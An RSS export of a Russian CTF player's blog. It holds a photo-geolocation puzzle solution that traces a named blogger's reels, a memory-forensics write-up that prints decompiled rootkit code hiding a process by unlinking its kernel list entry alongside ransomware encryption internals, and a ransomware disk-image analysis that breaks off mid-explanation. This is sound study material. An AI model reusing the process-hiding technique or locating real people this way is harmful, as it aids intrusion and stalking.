<?xml version="1.0" encoding="utf-8" ?><rss version="2.0" xmlns:tt="http://teletype.in/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:media="http://search.yahoo.com/mrss/"><channel><title>Михаил</title><generator>teletype.in</generator><description><![CDATA[Михаил]]></description><image><url>https://img3.teletype.in/files/60/78/607875a9-032e-460b-ad7b-c5f31ba6ef0d.png</url><title>Михаил</title><link>https://teletype.in/@mixinspace</link></image><link>https://teletype.in/@mixinspace?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace</link><atom:link rel="self" type="application/rss+xml" href="https://teletype.in/rss/mixinspace?offset=0"></atom:link><atom:link rel="next" type="application/rss+xml" href="https://teletype.in/rss/mixinspace?offset=10"></atom:link><atom:link rel="search" type="application/opensearchdescription+xml" title="Teletype" href="https://teletype.in/opensearch.xml"></atom:link><pubDate>Thu, 13 Aug 2026 01:27:08 GMT</pubDate><lastBuildDate>Thu, 13 Aug 2026 01:27:08 GMT</lastBuildDate><item><guid isPermaLink="true">https://teletype.in/@mixinspace/GEOINT_247</guid><link>https://teletype.in/@mixinspace/GEOINT_247?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace</link><comments>https://teletype.in/@mixinspace/GEOINT_247?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace#comments</comments><dc:creator>mixinspace</dc:creator><title>GEOINT #247</title><pubDate>Tue, 04 Aug 2026 04:37:50 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/36/bc/36bce302-92c5-43c0-86fc-b51a8bfab2ac.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/71/24/7124fc43-889c-4144-a9ea-f7bd83b341b4.jpeg"></img>GEOINT #247]]></description><content:encoded><![CDATA[
  <figure id="CaA7" class="m_original">
    <img src="https://img4.teletype.in/files/71/24/7124fc43-889c-4144-a9ea-f7bd83b341b4.jpeg" width="960" />
    <figcaption>OSINT: форум расследований. Определите координаты места съемки с точностью до 10 метров.</figcaption>
  </figure>
  <p id="Gagr">Первая мысль - Таиланд. Пошел проверять стикеры на столбики.</p>
  <p id="CAwD">NUUM COFFEE - кофейня на южном тайском острове Koh-Phangan, там же проводится фестиваль Techno Rebelion.</p>
  <p id="M2D5">К моменту когда я уже начал решать, в группу уже скинули логотип PMG:</p>
  <figure id="rpJm" class="m_column">
    <img src="https://img4.teletype.in/files/30/0f/300feb26-f705-443d-a308-55dc60d396ab.jpeg" width="1080" />
  </figure>
  <p id="AibQ">Это польская блогер, которая в марте 2024 года также была на этом острове.</p>
  <p id="RxRw"><a href="https://www.instagram.com/reel/C4mxwQFS7nK/" target="_blank">https://www.instagram.com/reel/C4mxwQFS7nK/</a></p>
  <p id="biif">Я попытался сузить круг поиска, определив местоположение съёмки ее рилсов, но это не увенчалось успехом - первые же два рилса, местоположение которых я определил были на противоположных частях острова.</p>
  <figure id="UNLf" class="m_column">
    <img src="https://img1.teletype.in/files/80/c6/80c608f8-1b34-43b1-bb1b-63fee664672c.jpeg" width="1278" />
  </figure>
  <p id="9AmI">Тогда открыл карту всех естественных водоемов тайланда:</p>
  <p id="7zAA"><a href="https://gis.dwr.go.th/portal/home/webmap/viewer.html?webmap=27baac5c7a9f40a9aec56576af69a072&extent=85.409,4.3301,117.7308,21.6423" target="_blank">https://gis.dwr.go.th/portal/home/webmap/viewer.html?webmap=27baac5c7a9f40a9aec56576af69a072&amp;extent=85.409,4.3301,117.7308,21.6423</a></p>
  <p id="2kLS">И стал проверять все каналы на острове. Искал место, соответствующее этим критериям:</p>
  <ul id="CoAA">
    <li id="s3iL">Оно должно быть легко и публично доступно туристам</li>
    <li id="4TkL">У водоема должен быть песок (видно за лодкой)</li>
    <li id="jJCF">С обоих сторон канала есть дома</li>
    <li id="ZgEw">Стена из круглых блоков</li>
  </ul>
  <p id="QcsP">Почти сразу внимание привлек пляж Haad Sadel Beach</p>
  <figure id="KMoj" class="m_column">
    <img src="https://img1.teletype.in/files/8b/ae/8bae1d6d-aa01-43f4-ba22-e9627ba06a8c.jpeg" width="1280" />
  </figure>
  <p id="uBRS">Мне понравились силуэты пальм, похожие на то, что было на фото, а также этот маленький участок песка у канала</p>
  <figure id="RXX3" class="m_column">
    <img src="https://img1.teletype.in/files/c2/cc/c2cce510-10c6-4ca0-b3db-0c89c4300269.jpeg" width="550" />
  </figure>
  <p id="WBVb">Начал искать видео на ютубе про этот пляж, и сразу понял, что это оно: <a href="https://www.youtube.com/watch?v=oIzVG7uuMWs" target="_blank">https://www.youtube.com/watch?v=oIzVG7uuMWs</a></p>
  <figure id="jgLp" class="m_column">
    <img src="https://img3.teletype.in/files/e1/a5/e1a512f3-704f-41c6-aab0-ea26a3764e1a.jpeg" width="1280" />
  </figure>
  <p id="a9as">Дополнительные подтверждения: <a href="https://www.youtube.com/watch?v=bdq3HHpji1o" target="_blank">https://www.youtube.com/watch?v=bdq3HHpji1o</a></p>
  <figure id="J1jG" class="m_column">
    <img src="https://img1.teletype.in/files/ce/c1/cec18c70-2d1e-4609-9d52-eb22e0348857.jpeg" width="1280" />
  </figure>
  <figure id="glQa" class="m_column">
    <img src="https://img1.teletype.in/files/cc/d0/ccd0492f-67e4-4885-bd88-f5a08e7cb0e5.jpeg" width="1280" />
  </figure>
  <p id="djqw">Осталось найти точку и угол съёмки, и это оказалось самым сложным, и заняло больше всего времени. Видео на английском уже кончились, поэтому перешёл на тайские. По запросу &quot;haad sadet beach หาดธารเสด็จ&quot; нашел видео, где видно фрагмент забора с таким же столбиком как у нас:</p>
  <p id="fLa1"><a href="https://www.youtube.com/watch?v=zTNRvbrX9_8?s=140" target="_blank">https://youtu.be/zTNRvbrX9_8?t=140</a></p>
  <p id="WAlo">По относительному расположению объекта и съемки с еще нескольких ракурсов определил финальную точку.</p>
  <p id="NoQ4">Итоговая визуализация:</p>
  <figure id="r2gd" class="m_original">
    <img src="https://img1.teletype.in/files/0b/9a/0b9a6cd7-407d-44ac-9200-6943df85e2b9.jpeg" width="1280" />
  </figure>
  <p id="cdXE">В сумме на решение таска потратил около 2 часов</p>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@mixinspace/bimbo-incident</guid><link>https://teletype.in/@mixinspace/bimbo-incident?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace</link><comments>https://teletype.in/@mixinspace/bimbo-incident?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace#comments</comments><dc:creator>mixinspace</dc:creator><title>[DFIR/Kernel] Yet Another Shitty Dump (Bimbo Accident) - IX Кубок CTF России</title><pubDate>Fri, 26 Jun 2026 02:31:14 GMT</pubDate><description><![CDATA[Сложность: Hard | Категории: Forensics, Reverse, Kernel | solved by: @mixinspace @pigadoor @ogurez @crowdyara | Автор: @revker]]></description><content:encoded><![CDATA[
  <p id="piA1">Сложность: Hard | Категории: Forensics, Reverse, Kernel | solved by: @mixinspace @pigadoor @ogurez @crowdyara | Автор: @revker</p>
  <p id="9T12">Описание:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="94JI">Котик, я тут пока поизучала всякого…<br />Случайно шифровальщик у себя запустила… компик не работает. Купишь новый? 🥺🙈🩷<br />Зашифровала себе сумочку биркин, она у меня была в папке Documents под именем MyDream.png 🩷🩷🩷<br />Там же и шифровальщик лежит, только он почему-то сам себя зашифровал… 🙈<br />Ещё там какие-то тюбики хотят выкуп, информация о нём в той же папке в файле README.txt 😓😓</p>
  </section>
  <h2 id="1CHV"><strong>Шаг 1. Первичное исследование</strong></h2>
  <p id="RgYr">Таск встречает нас дампом памяти на 2 гб.Для анализа будем пользоваться  volatility3.</p>
  <pre id="oYZF" data-lang="bash">python3 vol.py -f mem.raw windows.info
Major/Minor     15.19041
NtSystemRoot    C:\WindowsNt
MajorVersion  10</pre>
  <p id="6mRF">Этот дамп был снят с Windows 10 19041 (Что удобно, так как для любителей volatility2, на гитхабе существует отдельная ветка специально для этой версии винды).</p>
  <p id="5YCw">Попробуем достать файлы из папки <code>Documents</code><br /><code>windows.filescan</code></p>
  <pre id="mRgS">0xcd04ff6851f0  \Users\Snezhana\Documents\desktop.ini
0xcd0501a392d0  \Users\Snezhana\Documents\README.txt</pre>
  <p id="Sncy">Из упомянутых Снежаной файлов здесь только 1 - <code>README.txt</code></p>
  <p id="RzqQ">Вытащим его:</p>
  <pre id="vWkK" data-lang="bash">python3 vol.py -f mem.raw windows.dumpfiles --virtaddr 0xcd0501a392d0</pre>
  <p id="0zeI">README.txt:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="gpCZ">Send 1 BTC to ZmFrZV9hZGRyZXNfanVzdF9zb2x2ZV90aGVfdGFzaw to get back your Birking bag!<br />Your encryption id: WJA^LEJEIEHREVARE</p>
  </section>
  <p id="y5v6">Похоже что этот файл был оставлен малварем шифрофщиком.</p>
  <p id="Xl3W">На всякий проверили строчку кошелька (это Base64) </p>
  <pre id="pW9O">ZmFrZV9hZGRyZXNfanVzdF9zb2x2ZV90aGVfdGFzaw &gt; fake_addres_just_solve_the_task</pre>
  <p id="MEtt">Осознали и пошли решать дальше.</p>
  <p id="HHe5">Если есть малварь, и он зашифровал файлы, то он явно должен был запускаться.Список процессов с помощью <code>windows.pslist</code> и <code>windows.psscan </code>не выявил ничего подозрительного, в <code>windows.dlllist </code>и <code>windows.handles </code>тоже ничего не нашел.</p>
  <h2 id="q4Lc">Шаг 2. WinCrypt.sys</h2>
  <p id="O5gI">Внезапно вспомнил, что у таска была категория kernel и решил просмотреть список подгруженных модулей с помощью <code>windows.modules</code></p>
  <pre id="vtBI" data-lang="bash">python3 vol.py -f mem.raw windows.modules
...0xcd04fb87dc00  0xf8050dd80000  0x12000 WdNisDrv.sys    
\SystemRoot\system32\Drivers\WdNisDrv.sys  Disabled0
xcd0500cf3510  0xf8050dda0000  0x8000  WinCrypt.sys    \??
\C:\Windows\System32\drivers\WinCrypt.sys       Disabled
0xcd0500245920  0xcb58ac560000  0x48000 cdd.dll 
\SystemRoot\System32\cdd.dll    Disabled</pre>
  <p id="4iSq">Среди стандартных драйверов винды внимание привлек <code>WinCrypt.sys</code></p>
  <p id="olDz">Выкачаем его используя <code>pedump</code>, специально предназначенный для извлечения бинарей:</p>
  <pre id="ov3m" data-lang="bash">python3 vol.py -f mem.raw windows.pedump --base 0xf8050dda0000 --kernel-module</pre>
  <p id="OAtu">Дизассемблируем и изучим исходный код драйвера:<br />Драйвер создает устройство <code>&quot;\Device\WinCrypt&quot; </code>и обработчик команд <code>IOCTL</code>. Обработчик ожидает pid процесса и одну из двух команд.</p>
  <pre id="RUoG" data-lang="c">//sub_F8050DDA1040NTSTATUS WinCryptDeviceControl(PDEVICE_OBJECT dev, PIRP irp) {
    ULONG pid = *(ULONG*)irp-&gt;AssociatedIrp.SystemBuffer;

    switch (code) {
    case 0x222000:
        st = sub_F8050DDA1440(pid);   // sub_F8050DDA1440
        break;
    case 0x222004:
        st = sub_F8050DDA15A4(pid); // sub_F8050DDA15A4
        break;
    default:
        st = STATUS_INVALID_DEVICE_REQUEST;
        break;
    }</pre>
  <p id="dhei">Функция <code>sub_F8050DDA1440</code> находит структуру <code>_EPROCESS</code> для данного pid, в которой хранятся вся информация о процессе, зануляет адрес по смещению 0x5a8 и что-то делает с памятью по адресу 0x448.</p>
  <pre id="cy6p" data-lang="c">NTSTATUS HideProcessByPid(ULONG pid) {
    PUCHAR eproc = NULL;
    FindEProcessByPid(pid, &amp;eproc); //sub_F8050DDA1340
    ...
    v3 = eproc + 0x448;
    RtlFillMemory((PVOID)(eproc + 0x5A8), 0x0, 0xF);
    
    v6 = (_QWORD *)v3[1];
    v5 = (_QWORD *)*v3;
    if ( v6 &amp;&amp; v5 )
    {
        *v6 = v5;
        v5[1] = v6;
        *v3 = v3;
        v3[1] = v3;
        return 0;
    }</pre>
  <p id="MWWl">Оффсеты 0x448 и 0x5A8 взяты из структуры <code>_EPROC</code>, спецификацию которой можно прочитать на сайте vergiliusproject - <a href="https://www.vergiliusproject.com/kernels/x64/windows-10/2004/_EPROCESS" target="_blank">https://www.vergiliusproject.com/kernels/x64/windows-10/2004/_EPROCESS</a>, где описаны все kernel структуры для каждой версии windows.</p>
  <pre id="NrA5" data-lang="c">//0xa40 bytes (sizeof)
struct _EPROCESS{
    struct _KPROCESS Pcb;                                    //0x0
    ...
    VOID* UniqueProcessId;                                   //0x440
    struct _LIST_ENTRY ActiveProcessLinks;                   //0x448
    ...
    struct _FILE_OBJECT* ImageFilePointer;                   //0x5a0
    UCHAR ImageFileName[15];                                 //0x5a8
    ...
};</pre>
  <pre id="rzBz" data-lang="c">//0x10 bytes (sizeof)
struct _LIST_ENTRY
{
    struct _LIST_ENTRY* Flink;                               //0x0
    struct _LIST_ENTRY* Blink;                               //0x8
}</pre>
  <p id="svLC">Получается, что эта операция зануляет имя процесса, и замыкает процесс сам на себя, выводя его из общего двусвязного списка процессов.</p>
  <pre id="hTvV" data-lang="c">    PLIST_ENTRY prev = v3-&gt;Blink;
    PLIST_ENTRY next = v3-&gt;Flink;

    prev-&gt;Flink = next;
    next-&gt;Blink = prev;

    v3-&gt;Flink = v3-&gt;Blink = v3;</pre>
  <p id="WBqH">Вторая операция возвращает процесс в общий список, но оставляет имя пустым.</p>
  <pre id="WAYm" data-lang="c">    PLIST_ENTRY head  = g_PsActiveProcessHead;
    
    node-&gt;Flink = first;
    node-&gt;Blink = head;
    head-&gt;Flink = node;
    first-&gt;Blink = node;</pre>
  <h2 id="YBk9">Шаг 2.5. Интерлюдия</h2>
  <p id="NPuH">Поняв что делает драйвер, но не поняв что с этим делать я пошел вручную читать <code>BimboIncident.raw</code> в hex редакторе. Было интересно найти следы присутствия других файлов из описания задания.<br />Поиск по &quot;Documents&quot; выявил наличие в папке следующих файлов:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="uXrP">MyDream.png<br />Cryptor.exe<br />Dropper.exe<br />out.exe<br />Flag.png<br />Flag.png.dll<br />README.txt<br />1.exe<br />1.exe.txt<br />desktop.ini</p>
  </section>
  <p id="8q2s">Хотелось найти содержание <code>Cryptor.exe</code>, поэтому искал по названию. На удивление, слово <code>cryptor</code> встречался в файле  331 раз. Перейдя на первое значение, я был уверен что нашел то что надо, так как передо мной были артефакты от какого-то <code>ransomware</code></p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="lyrZ">You have been encrypted with Rush Ransomware\DECRYPT_YOUR_FILES.HTML\Sanction Ransomware\Project Encryptor\hidden-tearTrojan:</p>
  </section>
  <p id="GQ50">Обрадовавшись, я почти пошел его гуглить, но решил посмотреть и другие вхождения <code>cryptor.</code></p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="TWMV">...<br />Kraken Cryptor<br />...<br />FileCryptor<br />...<br />/ScriptCryptor_HSTR1<br />...<br />encryptor_raas<br />...<br />Ransom:MSIL/Godcrypt<br />...</p>
  </section>
  <p id="Oxq8">И еще много следов других криптеров, енкриптеров, рансомов и дропперов. Немного огорчившись, я все еще верил, что файлы были зашифрованы одним из них и попытался найти следы нашего README.txt в этих артефактах, но это ни к чему не привело.</p>
  <p id="BsBh">Одним из вхождений <code>Сryptor.exe </code>действительно был наш малварь, но не в папке Снежаны, а на рабочем столе пользователя &#x60;anon&#x60; в папке &#x60;test_crypt&#x60;.</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="3zvT">c:\users\anon\desktop\test_crypt\cryptor.exe</p>
  </section>
  <blockquote id="yKyh">В этой же папке были найдены файлы README.txt и Flag.png. Похоже что автор задания от этого пользователя тестил этот и другие вирусы, а потом уже запустил на снежане.</blockquote>
  <p id="E6dD">Также в папке загрузки у анона нашел файлы</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="MODl">WinCrypt.inf<br />WinCrypt.sys<br />osrloader.exe<br />DriverView.exe<br />dbgview64.exe<br />Cryptor.exe</p>
  </section>
  <p id="5jBJ">И смешной артефакт с оригинальным названием таска)</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="ffgD">\ctfcup\tasks\forensics\YetAnotherShittyDump\dev\Driver\WinCrypt\x64\Release</p>
  </section>
  <p id="dZME">Очевидно, что автор очень хотел правильно загрузить драйвер и проверить его работоспособность. Тут то меня и осенило, что драйвер зачем-то подгружали, он где-то точно использовался.</p>
  <h2 id="b5Lr">Шаг 3. Поиск скрытого процесса</h2>
  <p id="ZG19">Volatility2 и 3 ни одним стандартным плагином процессов, скрытых манипуляциями с DKOM, поэтому пришлось написать плагин для этого самому, который находит каждый &#x60;_EPROCESS&#x60; и проверяет что он замкнут на себя.</p>
  <pre id="jRRP" data-lang="bash">python vol.py -f mem.raw windows.malware.hidden_dkom_list
Volatility 3 Framework 2.27.0
Progress:  100.00               PDB scanning finished

PID     PPID    ImageFileName   ImagePath                       EPROCESS_Offset(V)
4440    1208                    C:\Windows\system32\ctfmon.exe  0xcd0501a08340</pre>
  <p id="uDUo">Нашелся процесс с pid <code>4440</code> с пустым именем, это инстанс <code>ctfmon.exe</code>. Через стандартные плагины волатилити вытащить дамп памяти не получилось, поэтому пришлось написать второй плагин для выкачивания таких процессов.</p>
  <p id="TfN6">Получили дамп памяти процесса на 525мб, почти в самом его начале присутствует сигнатура <code>MZER</code> какого-то .exe файла. После обрезки файла до начала <code>MZER </code>и декомпилирования кода, предположение подтвердилось - мы нашли <code>Cryptor.exe</code>.</p>
  <h2 id="umwm"><strong>Шаг 4 - Cryptor.exe</strong></h2>
  <p id="JbsW">Открываем бинарь, прыгаем в функцию main и начинаем исследовать его функциональность. В крипторе все строки зашифрованы, и следующий код мы будем видеть везде, где они расшифровываются:</p>
  <pre id="xY4D" data-lang="c">
  strcpy(FileName, &quot;QQ#QZdcN\x7Ft}y&quot;);
  do
    ++v5;
  while ( FileName[v5] );
  if ( v5 )
  {
    v6 = 0;
    if ( v5 &lt; 64 )
      goto LABEL_17;
    si128 = _mm_load_si128((const __m128i *)&amp;xmmword_14000AAC0);
    do
    {
      *(__m128i *)&amp;FileName[v6] = _mm_xor_si128(si128, _mm_loadu_si128((const __m128i *)&amp;FileName[v6]));
      *(__int128 *)((char *)&amp;v13 + v6) = (__int128)_mm_xor_si128(
                                                     _mm_loadu_si128((const __m128i *)((char *)&amp;v13 + v6)),
                                                     si128);
      *(__m128i *)((char *)&amp;retaddr + v6) = _mm_xor_si128(
                                              _mm_loadu_si128((const __m128i *)((char *)&amp;retaddr + v6)),
                                              si128);
      *(__int128 *)((char *)&amp;v15 + v6) = (__int128)_mm_xor_si128(
                                                     si128,
                                                     _mm_loadu_si128((const __m128i *)((char *)&amp;v15 + v6)));
      v6 += 64LL;
    }
    while ( v6 &lt; (v5 &amp; 0xFFFFFFFFFFFFFFC0uLL) );
    if ( v6 &lt; v5 )
    {
LABEL_17:
      do
        FileName[v6++] ^= 0xDu;
      while ( v6 &lt; v5 );
    }
  }</pre>
  <p id="utQe">Здесь зашифрованная строка копируется в память, затем расшифровывается операцией XOR с 0xD (для хвоста; для кратных 64 байтам блоков используется SSE XOR).</p>
  <p id="KqqF">Следующим шагом происходит открытие файла и если он существует, то программа выполняет функцию &#x60;sub_1400033A0&#x60;, к ней и перейдём.</p>
  <p id="ybuL">В первой части данной функции происходит расшифровка всех необходимых строк, затем — рекурсивный перебор всех файлов в директории (это видно по вызову sub_140002A90(&quot;recursive_directory_iterator::recursive_directory_iterator&quot;, v18, Block);).</p>
  <p id="P1AW">Так как это шифратор, то должна быть функция, которая принимает путь до файла и шифрует его. В дампе строк видны стандартные WinCrypt‑API: CryptCreateHash, CryptHashData и т. д. Они используются в &#x60;sub_1400043A0&#x60; (та принимает два аргумента).</p>
  <p id="qXoR">Теперь необходимо понять, как именно происходит шифрование файлов. Ключевой фрагмент:</p>
  <pre id="NR4w" data-lang="c">pbData[0] = *a2 ^ *v12;
pbData[1] = a2[1] ^ v12[1];
pbData[2] = a2[2] ^ v12[2];
pbData[3] = a2[3] ^ v12[3];
pbData[4] = a2[4] ^ v12[4];
pbData[5] = a2[5] ^ v12[5];
pbData[6] = a2[6] ^ v12[6];
pbData[7] = a2[7] ^ v12[7];
pbData[8] = a2[8] ^ v12[8];
pbData[9] = a2[9] ^ v12[9];
pbData[10] = a2[10] ^ v12[10];
pbData[11] = a2[11] ^ v12[11];
pbData[12] = a2[12] ^ v12[12];
pbData[13] = a2[13] ^ v12[13];
pbData[14] = a2[14] ^ v12[14];
pbData[15] = a2[15] ^ v12[15];
phProv = 0;
phKey = 0;
phHash = 0;
if ( CryptAcquireContextW(&amp;phProv, 0, 0, 0x18u, 0xF0000000) )
{
    if ( CryptCreateHash(phProv, 0x800Cu, 0, 0, &amp;phHash) )
    {
    if ( CryptHashData(phHash, pbData, 0x10u, 0) &amp;&amp; CryptDeriveKey(phProv, 0x6610u, phHash, 0, &amp;phKey) )
    {
        if ( (v7 &amp; 0xF) != 0 )
        LODWORD(v7) = 16 - (v7 &amp; 0xF) + v7;
        LODWORD(Size) = v7;
        v15 = operator new((unsigned int)v7);
        memset(v15, 0, (unsigned int)Size);
        memcpy(v15, v12, v13 - v12);
        if ( CryptEncrypt(phKey, 0, 0, 0, (BYTE *)v15, (DWORD *)&amp;Size, Size) )
        {...}
    }
    }
}</pre>
  <p id="RZw1">Из него можно понять, что шифрование идет с помощью AES 256, а ключ для него генерируется на основании двух переменных - входное значение (a2) и первые 16 байт самого файла (v12), а значит, чтобы дешифровать файл, нам нужно знать входное значение (шифруется через XOR с 0xD и является строкой <code>SNEZHANAMALVAREVA</code>), а также первые 16 байт исходного файла. К счастью, флаг у нас в png картинке, а все картинки всегда начинаются с</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="AHlr">89 50 4E 47 0D 0A 1A 0A 00 00 00 0D 49 48 44 52</p>
  </section>
  <p id="x6RT">Первые 8 байт - это PNG сигнатура, дальше должен идти чанк</p>
  <p id="4PNz">Чанки могут быть разного размера, но всегда первые 8 байт чанка занимает размер чанка и его тип (4 байта на размер и 4 байта на тип).</p>
  <p id="ZMFV">В нашем случае в PNG сразу после сигнатуры идет стандартный чанк IHDR, который содержит в себе длину и ширину картинки, а также флаги компрессии, цвета, фильтры и бит глубины, этот чанк всегда имеет размер 13 байт и тип IHDR. <br />Получается последние 8 байт ключа это размер чанка (00 00 00 0D) и тип чанка (49 48 44 52)</p>
  <p id="L7f6">Получается, что у нас есть всё для восстановления исходной картинки, кроме самого шифртекста. Его найти просто: шифруем любую PNG таким же образом и смотрим на первые 16 байт —  они совпадают для одинакового ключа.</p>
  <p id="exV4">Шифруем и ищем в памяти </p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Y7hA">E0 23 F2 B1 5C 8C 22 0D 34 5D 56 C1 A8 FD 2D C3</p>
  </section>
  <p id="3aSC">Расшифровать картинку с флагом можно так:</p>
  <pre id="cxlP" data-lang="c">import os
p0 = [0x89, 0x50, 0x4e, 0x47, 0x0d, 0x0a, 0x1a, 0x0a, 0x00, 0x00, 0x00, 0x0d, 0x49, 0x48, 0x44, 0x52] # PNG header
a2 = [0x53, 0x4e, 0x45, 0x5a, 0x48, 0x41, 0x4e, 0x41, 0x4d, 0x41, 0x4c, 0x56, 0x41, 0x52, 0x45, 0x56] # SNEZHANAMALVAREVA

key = [p0[i] ^ a2[i] for i in range(len(p0))]

with open(&quot;key_f.bin&quot;, &quot;wb&quot;) as f:
    f.write(bytes(key))

os.popen(&quot;openssl enc -d -aes-256-cbc -in hidden.pid.4440.dmp -out flag.png -K $(cat key_f.bin | sha256sum) -iv $(xxd -p -c 16 iv_f.bin)&quot;)</pre>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@mixinspace/hack-na-lavandovom</guid><link>https://teletype.in/@mixinspace/hack-na-lavandovom?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace</link><comments>https://teletype.in/@mixinspace/hack-na-lavandovom?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=mixinspace#comments</comments><dc:creator>mixinspace</dc:creator><title>Хак на лавандовом</title><pubDate>Wed, 29 Apr 2026 03:39:20 GMT</pubDate><media:content medium="image" url="https://img4.teletype.in/files/b9/d5/b9d57f7b-02b0-4bf7-8185-7cbf4bab5d3d.png"></media:content><description><![CDATA[<img src="https://img2.teletype.in/files/13/04/1304b40c-aa25-41d6-8e41-f320cb3cae5d.png"></img>Сложность: Hard
Категории: Forensics, Linux, OSINT, Web
Автор задания: Никита Ильин (@yanik1ta), SPbCTF]]></description><content:encoded><![CDATA[
  <h3 id="Tp8l">АльфаЦТФ 2026</h3>
  <p id="21lb">Сложность: Hard<br />Категории: Forensics, Linux, OSINT, Web<br />Автор задания: Никита Ильин (<a href="https://t.me/yanik1ta" target="_blank">@yanik1ta</a>), <a href="https://t.me/spbctf" target="_blank">SPbCTF</a></p>
  <p id="yLhO">Описание:</p>
  <section style="background-color:hsl(hsl(0, 0%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="D5d6">Сегодня с утра вы, как обычно, зашли в любимую спешалти-кофейню Northwind Coffee Roasters за единственным в нашем городе рафом на лавандовом. Но в эту субботу что-то не так: у стойки стоит очередь, не движется. Бариста, обычно улыбчивая и быстрая, смотрит в экран кассы с выражением человека, который только что увидел, как его машина уезжает без него.</p>
    <p id="AiSz">Оказалось, какой-то злодей зашифровал их сервер с кассой и всей бухгалтерией. Так дело не пойдёт, без кофе вы сегодня не уйдёте! Вы расталкиваете очередь и вызываетесь всё исправить и расшифровать.</p>
    <p id="v0VI">Образ диска: <a href="https://alfactf.ru/files/CAFE_DISK_IMAGE.7z" target="_blank"><strong>CAFE_DISK_IMAGE.7z</strong></a></p>
  </section>
  <h2 id="RMa2">Шаг 1 - Первичный анализ</h2>
  <p id="4DSC">Таск встречает нас двумя файлами образа диска в формате EnCase / Expert Witness Format (EWF). Откроем их в AutoPsy (можно и просто замонтировать в линукс) для первичного анализа файлов.</p>
  <p id="0FpV">Сразу можно заметить много подозрительных файлов с расширением <code>GSenc</code>, предположительно зашифрованных. Все они имеют одинаковую структуру и сигнатуру <code>HLF1</code>. Дата и время шифрования файлов - <code>2026-03-22 20:44:43 MSK</code>.</p>
  <figure id="sJ7R" class="m_retina">
    <img src="https://img3.teletype.in/files/28/2b/282b986d-f5d7-4f10-ac16-3cb74bf0c4a0.png" width="684.5" />
    <figcaption>Пример зашифрованного файла</figcaption>
  </figure>
  <p id="GxN2">Поиск в интернете по сигнатуре файла, расширению по известным шифровальщикам результатов не дал, поэтому будем искать артефакты на хосте. </p>
  <p id="CZOt">По пути /home/user/Documents/NorthwindCoffee/accounting/ был найден flag.txt.GSenc, предположительно флагстор таска.</p>
  <p id="rs11">bash_history почищен, в других логах артефактов запуска подозрительных файлов также не обнаружено, но в <code>/var/tmp</code> были обнаружены два файла:</p>
  <figure id="vJpq" class="m_original">
    <img src="https://img3.teletype.in/files/61/fe/61fe15ab-a9b2-4f5e-973b-0ecd2058ef9a.png" width="579" />
    <figcaption>Подозрительные файлы в /var/tmp</figcaption>
  </figure>
  <p id="ONHp">Зареверсим их чтобы узнать, что они делают.</p>
  <h2 id="qCmX">Шаг 2. Реверс вредоносов</h2>
  <p id="2jYW">Начнем с GS-encrypt, судя по названию это шифровальщик, который и энкриптнул все данные. Так как наша основная цель - восстановить flag.txt, то нам надо понять как шифруются файлы и как их дешифровать.</p>
  <p id="vuis">GS-encrypt - бинарник, написанный на GO.</p>
  <p id="20FD">Судя по флагам программы, это действительно наш шифратор.</p>
  <figure id="60Lq" class="m_column">
    <img src="https://img1.teletype.in/files/80/ad/80adab9d-de57-488d-85ea-c708d6f61497.png" width="1570" />
    <figcaption>флаги программы</figcaption>
  </figure>
  <p id="NO1Y">В нем используется RSA. В функции main_loadPublicKey у нас в память записывается строчка с публичным ключом RSA для шифрования.</p>
  <figure id="cmzb" class="m_column">
    <img src="https://img4.teletype.in/files/b0/7a/b07ae833-c24c-4448-9bc4-391ad0c87097.png" width="2094" />
    <figcaption>Публичный ключ RSA</figcaption>
  </figure>
  <p id="7PVZ">Cхема шифрования следующая:</p>
  <p id="Rnwc">Чтобы зашифровать файл надо:<br /><br />1. Использовать 32 случайных байта как AES_key для AES-256-GCM<br />2. Сгенерировать случайный nonce длиной gcm.NonceSize()<br />3. Зашифровать содержимое файла через AES-256-GCM<br />4. Зашифровать AES_key публичным RSA-ключом через RSA-OAEP-SHA256<br />5. Сформировать бинарный контейнер:</p>
  <p id="cV7l">Формат выходного файла такой:</p>
  <p id="a6kx">offset				size		field<br />0x00				4 		magic<br />0x04				1 			version<br />0x05				1 			key algorithm id<br />0x06 				1 			data algorithm id<br />0x07 				2 		wrapped key length, uint16 big-endian<br />0x09 				2 		nonce length, uint16 big-endian<br />0x0B 				4 		ciphertext length, uint32 big-endian<br />0x0F 				N 		RSA-OAEP-SHA256 encrypted AES key<br />0x0F+N 			M 		AES-GCM nonce<br />0x0F+N+M 	K 		AES-GCM ciphertext + GCM auth tag</p>
  <p id="iw7X">Для расшифровки нужно:</p>
